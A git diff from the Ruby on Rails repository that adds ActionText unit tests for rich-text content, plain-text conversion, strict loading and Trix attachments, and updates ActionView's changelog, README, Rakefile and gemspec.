+    message = Message.new(subject: "Greetings", content: "<h1>Hello world</h1>")
+    assert_equal %Q(<div class="trix-content">\n  <h1>Hello world</h1>\n</div>\n), "#{message.content}"
+  end
+
+  test "plain text conversion" do
+    message = Message.new(subject: "Greetings", content: "<h1>Hello world</h1>")
+    assert_equal "Hello world", message.content.to_plain_text
+  end
+
+  test "without content" do
+    assert_difference("ActionText::RichText.count" => 0) do
+      message = Message.create!(subject: "Greetings")
+      assert_nil message.content
+      assert_predicate message.content, :blank?
+      assert_predicate message.content, :empty?
+      assert_not message.content?
+      assert_not message.content.present?
+    end
+  end
+
+  test "with blank content" do
+    assert_difference("ActionText::RichText.count" => 1) do
+      message = Message.create!(subject: "Greetings", content: "")
+      assert_not message.content.nil?
+      assert_predicate message.content, :blank?
+      assert_predicate message.content, :empty?
+      assert_not message.content?
+      assert_not message.content.present?
+    end
+  end
+
+  test "embed extraction" do
+    blob = create_file_blob(filename: "racecar.jpg", content_type: "image/jpeg")
+    message = Message.create!(subject: "Greetings", content: ActionText::Content.new("Hello world").append_attachables(blob))
+    assert_equal "racecar.jpg", message.content.embeds.first.filename.to_s
+  end
+
+  test "embed extraction only extracts file attachments" do
+    remote_image_html = '<action-text-attachment content-type="image" url="http://example.com/cat.jpg"></action-text-attachment>'
+    blob = create_file_blob(filename: "racecar.jpg", content_type: "image/jpeg")
+    content = ActionText::Content.new(remote_image_html).append_attachables(blob)
+    message = Message.create!(subject: "Greetings", content: content)
+    assert_equal [ActionText::Attachables::RemoteImage, ActiveStorage::Blob], message.content.body.attachables.map(&:class)
+    assert_equal [ActiveStorage::Attachment], message.content.embeds.map(&:class)
+  end
+
+  test "embed extraction deduplicates file attachments" do
+    blob = create_file_blob(filename: "racecar.jpg", content_type: "image/jpeg")
+    content = ActionText::Content.new("Hello world").append_attachables([ blob, blob ])
+
+    assert_nothing_raised do
+      Message.create!(subject: "Greetings", content: content)
+    end
+  end
+
+  test "embed extraction occurs before validation" do
+    blob = create_file_blob(filename: "racecar.jpg", content_type: "image/jpeg")
+    content = ActionText::Content.new.append_attachables(blob)
+    message = Message.build(subject: "Greetings", content: content)
+
+    assert_changes -> { message.content.embeds.empty? }, from: true, to: false do
+      message.content.validate
+    end
+
+    embeds = message.content.embeds
+    assert_kind_of ActiveStorage::Attached::Many, embeds
+    assert_kind_of ActiveStorage::Attachment, embeds.first
+    assert_equal blob, embeds.first.blob
+  end
+
+  test "saving content" do
+    message = Message.create!(subject: "Greetings", content: "<h1>Hello world</h1>")
+    assert_equal "Hello world", message.content.to_plain_text
+  end
+
+  test "duplicating content" do
+    message = Message.create!(subject: "Greetings", content: "<b>Hello!</b>")
+    other_message = Message.create!(subject: "Greetings", content: message.content)
+
+    assert_equal message.content.body.to_html, other_message.content.body.to_html
+  end
+
+  test "saving body" do
+    message = Message.create(subject: "Greetings", body: "<h1>Hello world</h1>")
+    assert_equal "Hello world", message.body.to_plain_text
+  end
+
+  test "saving content via nested attributes" do
+    message = Message.create! subject: "Greetings", content: "<h1>Hello world</h1>",
+      review_attributes: { author_name: "Marcia", content: "Nice work!" }
+    assert_equal "Nice work!", message.review.content.to_plain_text
+  end
+
+  test "updating content via nested attributes" do
+    message = Message.create! subject: "Greetings", content: "<h1>Hello world</h1>",
+      review_attributes: { author_name: "Marcia", content: "Nice work!" }
+
+    message.update! review_attributes: { id: message.review.id, content: "Great work!" }
+    assert_equal "Great work!", message.review.reload.content.to_plain_text
+  end
+
+  test "building content lazily on existing record" do
+    message = Message.create!(subject: "Greetings")
+
+    assert_no_difference -> { ActionText::RichText.count } do
+      assert_kind_of ActionText::RichText, message.content
+    end
+  end
+
+  test "eager loading" do
+    Message.create!(subject: "Subject", content: "<h1>Content</h1>")
+
+    message = assert_queries_count(2) { Message.with_rich_text_content.last }
+    assert_no_queries do
+      assert_equal "Content", message.content.to_plain_text
+    end
+  end
+
+  test "eager loading all rich text" do
+    2.times do
+      Message.create!(subject: "Subject", content: "<h1>Content</h1>", body: "<h2>Body</h2>")
+    end
+
+    message = assert_queries_count(3) do
+      # 3 queries:
+      # messages x 1
+      # action texts (content) x 1
+      # action texts (body) x 1
+      Message.with_all_rich_text.to_a.last
+    end
+
+    assert_no_queries do
+      assert_equal "Content", message.content.to_plain_text
+      assert_equal "Body", message.body.to_plain_text
+    end
+  end
+
+  test "with blank content and store_if_blank: false" do
+    assert_difference("ActionText::RichText.count" => 0) do
+      message = MessageWithoutBlanks.create!(subject: "Greetings", content: "")
+      assert_nil message.content
+      assert_predicate message.content, :blank?
+      assert_predicate message.content, :empty?
+      assert_not message.content?
+      assert_not message.content.present?
+    end
+  end
+
+  test "if allowing blanks, updates rich text record on edit" do
+    message = Message.create!(subject: "Greetings", content: "content")
+    assert_difference("ActionText::RichText.count" => 0) do
+      message.update(content: "")
+    end
+  end
+
+  test "if disallowing blanks, deletes rich text record on edit" do
+    message = MessageWithoutBlanks.create!(subject: "Greetings", content: "content")
+    assert_difference("ActionText::RichText.count" => -1) do
+      message.update(content: "")
+    end
+  end
+
+  test "if disallowing blanks, can still validate presence" do
+    message1 = MessageWithoutBlanksWithContentValidation.new(subject: "Greetings", content: "")
+    assert_not_predicate message1, :valid?
+    message1.content = "content"
+    assert_predicate message1, :valid?
+
+    message2 = MessageWithoutBlanksWithContentValidation.new(subject: "Greetings", content: "content")
+    assert_predicate message2, :valid?
+    message2.content = ""
+    assert_not_predicate message2, :valid?
+  end
+end
diff --git a/actiontext/test/unit/plain_text_conversion_test.rb b/actiontext/test/unit/plain_text_conversion_test.rb
new file mode 100644
index 0000000000000..7889e6a4855a3
--- /dev/null
+++ b/actiontext/test/unit/plain_text_conversion_test.rb
@@ -0,0 +1,175 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class ActionText::PlainTextConversionTest < ActiveSupport::TestCase
+  test "<p> tags are separated by two new lines" do
+    assert_converted_to(
+      "Hello world!\n\nHow are you?",
+      "<p>Hello world!</p><p>How are you?</p>"
+    )
+  end
+
+  test "<blockquote> tags are separated by two new lines" do
+    assert_converted_to(
+      "“Hello world!�\n\n“How are you?�",
+      "<blockquote>Hello world!</blockquote><blockquote>How are you?</blockquote>"
+    )
+  end
+
+  test "<blockquote> tag with whitespace" do
+    assert_converted_to(
+      "   “Hello world!� ",
+      "<blockquote>   Hello world! </blockquote>"
+    )
+  end
+
+  test "<blockquote> tag with only whitespace" do
+    assert_converted_to(
+      "“�",
+      "<blockquote> </blockquote>"
+    )
+  end
+
+  test "<ol> tags are separated by two new lines" do
+    assert_converted_to(
+      "Hello world!\n\n1. list1\n\n1. list2\n\nHow are you?",
+      "<p>Hello world!</p><ol><li>list1</li></ol><ol><li>list2</li></ol><p>How are you?</p>"
+    )
+  end
+
+  test "<ul> tags are separated by two new lines" do
+    assert_converted_to(
+      "Hello world!\n\n• list1\n\n• list2\n\nHow are you?",
+      "<p>Hello world!</p><ul><li>list1</li></ul><ul><li>list2</li></ul><p>How are you?</p>"
+    )
+  end
+
+  test "<h1> tags are separated by two new lines" do
+    assert_converted_to(
+      "Hello world!\n\nHow are you?",
+      "<h1>Hello world!</h1><div>How are you?</div>"
+    )
+  end
+
+  test "<li> tags are separated by one new line" do
+    assert_converted_to(
+      "• one\n• two\n• three",
+      "<ul><li>one</li><li>two</li><li>three</li></ul>"
+    )
+  end
+
+  test "<li> tags without a parent list" do
+    assert_converted_to(
+      "• one\n• two\n• three",
+      "<li>one</li><li>two</li><li>three</li>"
+    )
+  end
+
+  test "basic nested <ul> tags are indented" do
+    assert_converted_to(
+      "• Item 1\n  • Item 2",
+      "<ul><li>Item 1<ul><li>Item 2</li></ul></li></ul>"
+    )
+  end
+
+  test "basic nested <ol> tags are indented" do
+    assert_converted_to(
+      "1. Item 1\n  1. Item 2",
+      "<ol><li>Item 1<ol><li>Item 2</li></ol></li></ol>"
+    )
+  end
+
+  test "complex nested / mixed list tags are indented" do
+    assert_converted_to(
+      "• Item 0\n• Item 1\n  • Item A\n    1. Item i\n    2. Item ii\n  • Item B\n    • Item i\n• Item 2",
+      "<ul><li>Item 0</li><li>Item 1<ul><li>Item A<ol><li>Item i</li><li>Item ii</li></ol></li><li>Item B<ul><li>Item i</li></ul></li></ul></li><li>Item 2</li></ul>"
+    )
+  end
+
+  test "<br> tags are separated by one new line" do
+    assert_converted_to(
+      "Hello world!\none\ntwo\nthree",
+      "<p>Hello world!<br>one<br>two<br>three</p>"
+    )
+  end
+
+  test "<div> tags are separated by one new line" do
+    assert_converted_to(
+      "Hello world!\nHow are you?",
+      "<div>Hello world!</div><div>How are you?</div>"
+    )
+  end
+
+  test "<figcaption> tags are converted to their plain-text representation" do
+    assert_converted_to(
+      "Hello world! [A condor in the mountain]",
+      "Hello world! <figcaption>A condor in the mountain</figcaption>"
+    )
+  end
+
+  test "<action-text-attachment> tags are converted to their plain-text representation" do
+    assert_converted_to(
+      "Hello world! [Cat]",
+      'Hello world! <action-text-attachment url="http://example.com/cat.jpg" content-type="image" caption="Cat"></action-text-attachment>'
+    )
+  end
+
+  test "deeply nested tags are converted" do
+    assert_converted_to(
+      "Hello world!\nHow are you?",
+      ActionText::Fragment.wrap("<div>Hello world!</div><div></div>").tap do |fragment|
+        node = fragment.source.children.last
+        10_000.times do
+          child = node.clone
+          child.parent = node
+          node = child
+        end
+        node.inner_html = "How are you?"
+      end
+    )
+  end
+
+  test "preserves non-linebreak whitespace after text" do
+    assert_converted_to(
+      "Hello world!",
+      "<div><strong>Hello </strong>world!</div>"
+    )
+  end
+
+  test "preserves trailing linebreaks after text" do
+    assert_converted_to(
+      "Hello\nHow are you?",
+      "<strong>Hello<br></strong>How are you?"
+    )
+  end
+
+  test "script tags are ignored" do
+    assert_converted_to(
+      "Hello world!",
+      <<~HTML
+        <script type="javascript">
+          console.log("message");
+        </script>
+        <div><strong>Hello </strong>world!</div>
+      HTML
+    )
+  end
+
+  test "style tags are ignored" do
+    assert_converted_to(
+      "Hello world!",
+      <<~HTML
+        <style type="text/css">
+          body { color: red; }
+        </style>
+        <div><strong>Hello </strong>world!</div>
+      HTML
+    )
+  end
+
+  private
+    def assert_converted_to(plain_text, html)
+      assert_equal plain_text, ActionText::Content.new(html).to_plain_text
+    end
+end
diff --git a/actiontext/test/unit/strict_loading_test.rb b/actiontext/test/unit/strict_loading_test.rb
new file mode 100644
index 0000000000000..7b6482ba435a9
--- /dev/null
+++ b/actiontext/test/unit/strict_loading_test.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class ActionText::StrictLoadingTest < ActiveSupport::TestCase
+  class MessageWithStrictLoading < Message
+    self.strict_loading_by_default = true
+
+    has_rich_text :strict_loading_content
+  end
+
+  class MessageWithFooter < MessageWithStrictLoading
+    has_rich_text :footer, strict_loading: false
+  end
+
+  test "has_rich_text reads strict_loading: option from strict_loading_by_default" do
+    MessageWithStrictLoading.create! strict_loading_content: "ignored"
+
+    assert_raises ActiveRecord::StrictLoadingViolationError do
+      MessageWithStrictLoading.all.map(&:strict_loading_content)
+    end
+
+    MessageWithStrictLoading.with_rich_text_strict_loading_content.map(&:strict_loading_content)
+  end
+
+  test "pre-loading the association does not raise a StrictLoadingViolationError" do
+    MessageWithStrictLoading.create! strict_loading_content: "ignored"
+
+    records = MessageWithStrictLoading.with_rich_text_strict_loading_content.all
+
+    assert_nothing_raised do
+      records.map(&:strict_loading_content)
+    end
+  end
+
+  test "has_rich_text accepts strict_loading: overrides" do
+    MessageWithFooter.create! footer: "ignored"
+
+    records = MessageWithFooter.all
+
+    assert_nothing_raised do
+      records.map(&:footer)
+    end
+  end
+end
diff --git a/actiontext/test/unit/trix_attachment_test.rb b/actiontext/test/unit/trix_attachment_test.rb
new file mode 100644
index 0000000000000..81d015750ebc2
--- /dev/null
+++ b/actiontext/test/unit/trix_attachment_test.rb
@@ -0,0 +1,83 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class ActionText::TrixAttachmentTest < ActiveSupport::TestCase
+  test "from_attributes" do
+    attributes = {
+      "data-trix-attachment" => {
+        "sgid" => "123",
+        "contentType" => "text/plain",
+        "href" => "http://example.com/",
+        "filename" => "example.txt",
+        "filesize" => 12345,
+        "previewable" => true
+      },
+      "data-trix-attributes" => {
+        "caption" => "hello"
+      }
+    }
+
+    attachment = attachment(
+      sgid: "123",
+      content_type: "text/plain",
+      href: "http://example.com/",
+      filename: "example.txt",
+      filesize: "12345",
+      previewable: "true",
+      caption: "hello"
+    )
+
+    assert_attachment_json_attributes(attachment, attributes)
+  end
+
+  test "previewable is typecast" do
+    assert_attachment_attribute(attachment(previewable: ""), "previewable", false)
+    assert_attachment_attribute(attachment(previewable: false), "previewable", false)
+    assert_attachment_attribute(attachment(previewable: "false"), "previewable", false)
+    assert_attachment_attribute(attachment(previewable: "garbage"), "previewable", false)
+    assert_attachment_attribute(attachment(previewable: true), "previewable", true)
+    assert_attachment_attribute(attachment(previewable: "true"), "previewable", true)
+  end
+
+  test "filesize is typecast when integer-like" do
+    assert_attachment_attribute(attachment(filesize: 123), "filesize", 123)
+    assert_attachment_attribute(attachment(filesize: "123"), "filesize", 123)
+    assert_attachment_attribute(attachment(filesize: "3.5 MB"), "filesize", "3.5 MB")
+    assert_attachment_attribute(attachment(filesize: nil), "filesize", nil)
+    assert_attachment_attribute(attachment(filesize: ""), "filesize", "")
+  end
+
+  test "#attributes strips unmappable attributes" do
+    attributes = {
+      "sgid" => "123",
+      "caption" => "hello"
+    }
+
+    attachment = attachment(sgid: "123", caption: "hello", nonexistent: "garbage")
+    assert_attachment_attributes(attachment, attributes)
+  end
+
+  def assert_attachment_attribute(attachment, name, value)
+    if value.nil?
+      assert_nil(attachment.attributes[name])
+    else
+      assert_equal(value, attachment.attributes[name])
+    end
+  end
+
+  def assert_attachment_attributes(attachment, attributes)
+    assert_equal(attributes, attachment.attributes)
+  end
+
+  def assert_attachment_json_attributes(attachment, attributes)
+    attributes.each do |name, expected|
+      actual = JSON.parse(attachment.node[name])
+      assert_equal(expected, actual)
+    end
+  end
+
+  def attachment(**attributes)
+    ActionText::TrixAttachment.from_attributes(attributes)
+  end
+end
diff --git a/actionview/.gitignore b/actionview/.gitignore
index 0a04b297867d1..cc8f8ca4d931f 100644
--- a/actionview/.gitignore
+++ b/actionview/.gitignore
@@ -1,2 +1,4 @@
-/lib/assets/compiled
-/tmp
+/lib/assets/compiled/
+/log/
+/test/fixtures/public/absolute/
+/tmp/
diff --git a/actionview/CHANGELOG.md b/actionview/CHANGELOG.md
index b071b260c977d..ec1ca93f5d1db 100644
--- a/actionview/CHANGELOG.md
+++ b/actionview/CHANGELOG.md
@@ -1,188 +1,14 @@
-*   Change the ERB handler from Erubis to Erubi.
+*   Fix tag parameter content being overwritten instead of combined with tag block content.
+    Before `tag.div("Hello ") { "World" }` would just return `<div>World</div>`, now it returns `<div>Hello World</div>`.
 
-    Erubi is an Erubis fork that's svelte, simple, and currently maintained.
-    Plus it supports `--enable-frozen-string-literal` in Ruby 2.3+.
+    *DHH*
 
-    Compatibility: Drops support for `<%===` tags for debug output.
-    These were an unused, undocumented side effect of the Erubis
-    implementation.
+*   Add ability to pass a block when rendering collection. The block will be executed for each rendered element in the collection.
 
-    Deprecation: The Erubis handler will be removed in Rails 5.2, for the
-    handful of folks using it directly.
+    *Vincent Robert*
 
-    *Jeremy Evans*
+*   Add `key:` and `expires_in:` options under `cached:` to `render` when used with `collection:`
 
-*   Allow render locals to be assigned to instance variables in a view.
+    *Jarrett Lusso*
 
-    Fixes #27480.
-
-    *Andrew White*
-
-*   Add `check_parameters` option to `current_page?` which makes it more strict.
-
-    *Maksym Pugach*
-
-*   Return correct object name in form helper method after `fields_for`.
-
-    Fixes #26931.
-
-    *Yuji Yaginuma*
-
-*   Use `ActionView::Resolver.caching?` (`config.action_view.cache_template_loading`)
-    to enable template recompilation.
-
-    Before it was enabled by `consider_all_requests_local`, which caused
-    recompilation in tests.
-
-    *Max Melentiev*
-
-*   Add `form_with` to unify `form_tag` and `form_for` usage.
-
-    Used like `form_tag` (where just the open tag is output):
-
-    ```erb
-    <%= form_with scope: :post, url: super_special_posts_path %>
-    ```
-
-    Used like `form_for`:
-
-    ```erb
-    <%= form_with model: @post do |form| %>
-      <%= form.text_field :title %>
-    <% end %>
-    ```
-
-    *Kasper Timm Hansen*, *Marek Kirejczyk*
-
-*   Add `fields` form helper method.
-
-    ```erb
-    <%= fields :comment, model: @comment do |fields| %>
-      <%= fields.text_field :title %>
-    <% end %>
-    ```
-
-    Can also be used within form helpers such as `form_with`.
-
-    *Kasper Timm Hansen*
-
-*   Removed deprecated `#original_exception` in `ActionView::Template::Error`.
-
-    *Rafael Mendonça França*
-
-*   Render now accepts any keys for locals, including reserved keywords.
-
-    Only locals with valid variable names get set directly. Others
-    will still be available in `local_assigns`.
-
-    Example of render with reserved keywords:
-
-    ```erb
-    <%= render "example", class: "text-center", message: "Hello world!" %>
-
-    <!-- _example.html.erb: -->
-    <%= tag.div class: local_assigns[:class] do %>
-      <p><%= message %></p>
-    <% end %>
-    ```
-
-    *Peter Schilling*, *Matthew Draper*
-
-*   Show cache hits and misses when rendering partials.
-
-    Partials using the `cache` helper will show whether a render hit or missed
-    the cache:
-
-    ```
-    Rendered messages/_message.html.erb in 1.2 ms [cache hit]
-    Rendered recordings/threads/_thread.html.erb in 1.5 ms [cache miss]
-    ```
-
-    This removes the need for the old fragment cache logging:
-
-    ```
-    Read fragment views/v1/2914079/v1/2914079/recordings/70182313-20160225015037000000/d0bdf2974e1ef6d31685c3b392ad0b74 (0.6ms)
-    Rendered messages/_message.html.erb in 1.2 ms [cache hit]
-    Write fragment views/v1/2914079/v1/2914079/recordings/70182313-20160225015037000000/3b4e249ac9d168c617e32e84b99218b5 (1.1ms)
-    Rendered recordings/threads/_thread.html.erb in 1.5 ms [cache miss]
-    ```
-
-    Though that full output can be reenabled with
-    `config.action_controller.enable_fragment_cache_logging = true`.
-
-    *Stan Lo*
-
-*   Changed partial rendering with a collection to allow collections which
-    implement `to_a`.
-
-    Extracting the collection option had an optimization to avoid unnecessary
-    queries of ActiveRecord Relations by calling `#to_ary` on the given
-    collection. Instances of `Enumerator` or `Enumerable` are valid
-    collections, but they do not implement `#to_ary`. By changing this to
-    `#to_a`, they will now be extracted and rendered as expected.
-
-    *Steven Harman*
-
-*   New syntax for tag helpers. Avoid positional parameters and support HTML5 by default.
-    Example usage of tag helpers before:
-
-    ```ruby
-    tag(:br, nil, true)
-    content_tag(:div, content_tag(:p, "Hello world!"), class: "strong")
-
-    <%= content_tag :div, class: "strong" do -%>
-      Hello world!
-    <% end -%>
-    ```
-
-    Example usage of tag helpers after:
-
-    ```ruby
-    tag.br
-    tag.div tag.p("Hello world!"), class: "strong"
-
-    <%= tag.div class: "strong" do %>
-      Hello world!
-    <% end %>
-    ```
-
-    *Marek Kirejczyk*, *Kasper Timm Hansen*
-
-*   Change `datetime_field` and `datetime_field_tag` to generate `datetime-local` fields.
-
-    As a new specification of the HTML 5 the text field type `datetime` will no longer exist
-    and it is recommended to use `datetime-local`.
-    Ref: https://html.spec.whatwg.org/multipage/forms.html#local-date-and-time-state-(type=datetime-local)
-
-    *Herminio Torres*
-
-*   Raw template handler (which is also the default template handler in Rails 5) now outputs
-    HTML-safe strings.
-
-    In Rails 5 the default template handler was changed to the raw template handler. Because
-    the ERB template handler escaped strings by default this broke some applications that
-    expected plain JS or HTML files to be rendered unescaped. This fixes the issue caused
-    by changing the default handler by changing the Raw template handler to output HTML-safe
-    strings.
-
-    *Eileen M. Uchitelle*
-
-*   `select_tag`'s `include_blank` option for generation for blank option tag, now adds an empty space label,
-     when the value as well as content for option tag are empty, so that we conform with html specification.
-     Ref: https://www.w3.org/TR/html5/forms.html#the-option-element.
-
-    Generation of option before:
-
-    ```html
-    <option value=""></option>
-    ```
-
-    Generation of option after:
-
-    ```html
-    <option value="" label=" "></option>
-    ```
-
-    *Vipul A M*
-
-Please check [5-0-stable](https://github.com/rails/rails/blob/5-0-stable/actionview/CHANGELOG.md) for previous changes.
+Please check [8-1-stable](https://github.com/rails/rails/blob/8-1-stable/actionview/CHANGELOG.md) for previous changes.
diff --git a/actionview/MIT-LICENSE b/actionview/MIT-LICENSE
index ac810e86d0210..7be9ac633faf0 100644
--- a/actionview/MIT-LICENSE
+++ b/actionview/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2017 David Heinemeier Hansson
+Copyright (c) David Heinemeier Hansson
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/actionview/README.rdoc b/actionview/README.rdoc
index 7a3e5e31d00f2..dcf47e491ebe7 100644
--- a/actionview/README.rdoc
+++ b/actionview/README.rdoc
@@ -5,34 +5,36 @@ view helpers that assist when building HTML forms, Atom feeds and more.
 Template formats that Action View handles are ERB (embedded Ruby, typically
 used to inline short Ruby snippets inside HTML), and XML Builder.
 
+You can read more about Action View in the {Action View Overview}[https://guides.rubyonrails.org/action_view_overview.html] guide.
+
 == Download and installation
 
 The latest version of Action View can be installed with RubyGems:
 
   $ gem install actionview
 
-Source code can be downloaded as part of the Rails project on GitHub
+Source code can be downloaded as part of the \Rails project on GitHub:
 
-* https://github.com/rails/rails/tree/master/actionview
+* https://github.com/rails/rails/tree/main/actionview
 
 
 == License
 
 Action View is released under the MIT license:
 
-* http://www.opensource.org/licenses/MIT
+* https://opensource.org/licenses/MIT
 
 
 == Support
 
 API documentation is at
 
-* http://api.rubyonrails.org
+* https://api.rubyonrails.org
 
-Bug reports can be filed for the Ruby on Rails project here:
+Bug reports for the Ruby on \Rails project can be filed here:
 
 * https://github.com/rails/rails/issues
 
-Feature requests should be discussed on the rails-core mailing list here:
+Feature requests should be discussed on the rubyonrails-core forum here:
 
-* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
+* https://discuss.rubyonrails.org/c/rubyonrails-core
diff --git a/actionview/RUNNING_UJS_TESTS.rdoc b/actionview/RUNNING_UJS_TESTS.rdoc
deleted file mode 100644
index a575624a06843..0000000000000
--- a/actionview/RUNNING_UJS_TESTS.rdoc
+++ /dev/null
@@ -1,7 +0,0 @@
-== Running UJS tests
-
-Ensure that you can build the project and run tests.
-Run rake ujs:server first, and then run the web tests by
-visiting http://localhost:4567 in your browser.
-
-rake ujs:server
diff --git a/actionview/RUNNING_UNIT_TESTS.rdoc b/actionview/RUNNING_UNIT_TESTS.rdoc
index 6c4e5e983a61a..4442dbdb9e222 100644
--- a/actionview/RUNNING_UNIT_TESTS.rdoc
+++ b/actionview/RUNNING_UNIT_TESTS.rdoc
@@ -2,13 +2,13 @@
 
 The easiest way to run the unit tests is through Rake. The default task runs
 the entire test suite for all classes. For more information, checkout the
-full array of rake tasks with "rake -T"
+full array of rake tasks with <tt>rake -T</tt>
 
-Rake can be found at http://docs.seattlerb.org/rake/.
+Rake can be found at https://ruby.github.io/rake/.
 
 == Running by hand
 
-To run a single test suite
+Run a single test suite:
 
    rake test TEST=path/to/test.rb
 
@@ -18,10 +18,9 @@ which can be further narrowed down to one test:
 
 == Dependency on Active Record and database setup
 
-Test cases in the test/activerecord/ directory depend on having
-activerecord and sqlite3 installed. If Active Record is not in
-actionview/../activerecord directory, or the sqlite3 rubygem is not installed,
-these tests are skipped.
-
+Test cases in the +test/activerecord/+ directory depend on having
+activerecord+ and +sqlite3+ installed. If Active Record is not in
+actionview/../activerecord+ directory, or the +sqlite3+ Ruby gem is not installed,
+  these tests are skipped.
 Other tests are runnable from a fresh copy of actionview without any configuration.
 
diff --git a/actionview/Rakefile b/actionview/Rakefile
index cba4684076e75..ac2db05951ab1 100644
--- a/actionview/Rakefile
+++ b/actionview/Rakefile
@@ -1,9 +1,14 @@
+# frozen_string_literal: true
+
 require "rake/testtask"
+require "fileutils"
+require "open3"
+require "base64"
 
 desc "Default Task"
 task default: :test
 
-task package: "assets:compile"
+ENV["RAILS_MINITEST_PLUGIN"] = "true"
 
 # Run the unit tests
 
@@ -11,58 +16,52 @@ desc "Run all unit tests"
 task test: ["test:template", "test:integration:action_pack", "test:integration:active_record"]
 
 namespace :test do
-  task :isolated do
+  task isolated: :railties do
     Dir.glob("test/{actionpack,activerecord,template}/**/*_test.rb").all? do |file|
       sh(Gem.ruby, "-w", "-Ilib:test", file)
     end || raise("Failures")
   end
 
+  task :railties do
+    ["action_view/railtie"].all? do |railtie|
+      sh(Gem.ruby, "-r", railtie, "-e", "'OK'")
+    end || raise("Failures")
+  end
+
   Rake::TestTask.new(:template) do |t|
     t.libs << "test"
-    t.test_files = Dir.glob("test/template/**/*_test.rb")
+    t.test_files = FileList["test/template/**/*_test.rb"]
     t.warning = true
     t.verbose = true
+    t.options = "--profile" if ENV["CI"]
     t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
   end
 
   namespace :integration do
-    desc "ActiveRecord Integration Tests"
+    # Active Record Integration Tests
     Rake::TestTask.new(:active_record) do |t|
       t.libs << "test"
-      t.test_files = Dir.glob("test/activerecord/*_test.rb")
+      t.test_files = FileList["test/activerecord/*_test.rb"]
       t.warning = true
       t.verbose = true
+      t.options = "--profile" if ENV["CI"]
       t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
     end
 
-    desc "ActionPack Integration Tests"
+    # Action Pack Integration Tests
     Rake::TestTask.new(:action_pack) do |t|
       t.libs << "test"
-      t.test_files = Dir.glob("test/actionpack/**/*_test.rb")
+      t.test_files = FileList["test/actionpack/**/*_test.rb"]
       t.warning = true
       t.verbose = true
+      t.options = "--profile" if ENV["CI"]
       t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
     end
   end
 end
 
-namespace :ujs do
-  desc "Starts the test server"
-  task :server do
-    system "bundle exec rackup test/ujs/config.ru -p 4567 -s puma"
-  end
-end
-
-namespace :assets do
-  desc "Compile Action View assets"
-  task :compile do
-    require "blade"
-    Blade.build
-  end
-end
-
 task :lines do
-  load File.expand_path("..", File.dirname(__FILE__)) + "/tools/line_statistics"
+  load File.expand_path("../tools/line_statistics", __dir__)
   files = FileList["lib/**/*.rb"]
   CodeTools::LineStatistics.new(files).print_loc
 end
diff --git a/actionview/actionview.gemspec b/actionview/actionview.gemspec
index cfaa5007a110f..f090b09969ae1 100644
--- a/actionview/actionview.gemspec
+++ b/actionview/actionview.gemspec
@@ -1,4 +1,6 @@
-version = File.read(File.expand_path("../../RAILS_VERSION", __FILE__)).strip
+# frozen_string_literal: true
+
+version = File.read(File.expand_path("../RAILS_VERSION", __dir__)).strip
 
 Gem::Specification.new do |s|
   s.platform    = Gem::Platform::RUBY
@@ -7,24 +9,36 @@ Gem::Specification.new do |s|
   s.summary     = "Rendering framework putting the V in MVC (part of Rails)."
   s.description = "Simple, battle-tested conventions and helpers for building web pages."
 
-  s.required_ruby_version = ">= 2.2.2"
+  s.required_ruby_version = ">= 3.2.0"
 
   s.license = "MIT"
 
   s.author   = "David Heinemeier Hansson"
   s.email    = "david@loudthinking.com"
-  s.homepage = "http://rubyonrails.org"
+  s.homepage = "https://rubyonrails.org"
 
-  s.files        = Dir["CHANGELOG.md", "README.rdoc", "MIT-LICENSE", "lib/**/*"]
+  s.files        = Dir["CHANGELOG.md", "README.rdoc", "MIT-LICENSE", "lib/**/*", "app/assets/javascripts/*.js"]
   s.require_path = "lib"
   s.requirements << "none"
 
+  s.metadata = {
+    "bug_tracker_uri"   => "https://github.com/rails/rails/issues",
+    "changelog_uri"     => "https://github.com/rails/rails/blob/v#{version}/actionview/CHANGELOG.md",
+    "documentation_uri" => "https://api.rubyonrails.org/v#{version}/",
+    "mailing_list_uri"  => "https://discuss.rubyonrails.org/c/rubyonrails-talk",
+    "source_code_uri"   => "https://github.com/rails/rails/tree/v#{version}/actionview",
+    "rubygems_mfa_required" => "true",
+  }
+
+  # NOTE: Please read our dependency guidelines before updating versions:
+  # https://edgeguides.rubyonrails.org/security.html#dependency-management-and-cves
+
   s.add_dependency "activesupport", version
 
   s.add_dependency "builder",       "~> 3.1"
-  s.add_dependency "erubi",         "~> 1.4"
-  s.add_dependency "rails-html-sanitizer", "~> 1.0", ">= 1.0.3"
-  s.add_dependency "rails-dom-testing", "~> 2.0"
+  s.add_dependency "erubi",         "~> 1.11"
+  s.add_dependency "rails-html-sanitizer", "~> 1.6"
+  s.add_dependency "rails-dom-testing", "~> 2.2"
 
   s.add_development_dependency "actionpack",  version
   s.add_development_dependency "activemodel", version
diff --git a/actionview/app/assets/javascripts/.gitattributes b/actionview/app/assets/javascripts/.gitattributes
new file mode 100644
index 0000000000000..44955043a7e22
--- /dev/null
+++ b/actionview/app/assets/javascripts/.gitattributes
@@ -0,0 +1,2 @@
+rails-ujs.js linguist-generated
+rails-ujs.esm.js linguist-generated
diff --git a/actionview/app/assets/javascripts/config.coffee b/actionview/app/assets/javascripts/config.coffee
deleted file mode 100644
index 3d4706b0e1e6e..0000000000000
--- a/actionview/app/assets/javascripts/config.coffee
+++ /dev/null
@@ -1,37 +0,0 @@
-#= export Rails
-
-@Rails =
-  # Link elements bound by jquery-ujs
-  linkClickSelector: 'a[data-confirm], a[data-method], a[data-remote]:not([disabled]), a[data-disable-with], a[data-disable]'
-
-  # Button elements bound by jquery-ujs
-  buttonClickSelector:
-    selector: 'button[data-remote]:not([form]), button[data-confirm]:not([form])'
-    exclude: 'form button'
-
-  # Select elements bound by jquery-ujs
-  inputChangeSelector: 'select[data-remote], input[data-remote], textarea[data-remote]'
-
-  # Form elements bound by jquery-ujs
-  formSubmitSelector: 'form'
-
-  # Form input elements bound by jquery-ujs
-  formInputClickSelector: 'form input[type=submit], form input[type=image], form button[type=submit], form button:not([type]), input[type=submit][form], input[type=image][form], button[type=submit][form], button[form]:not([type])'
-
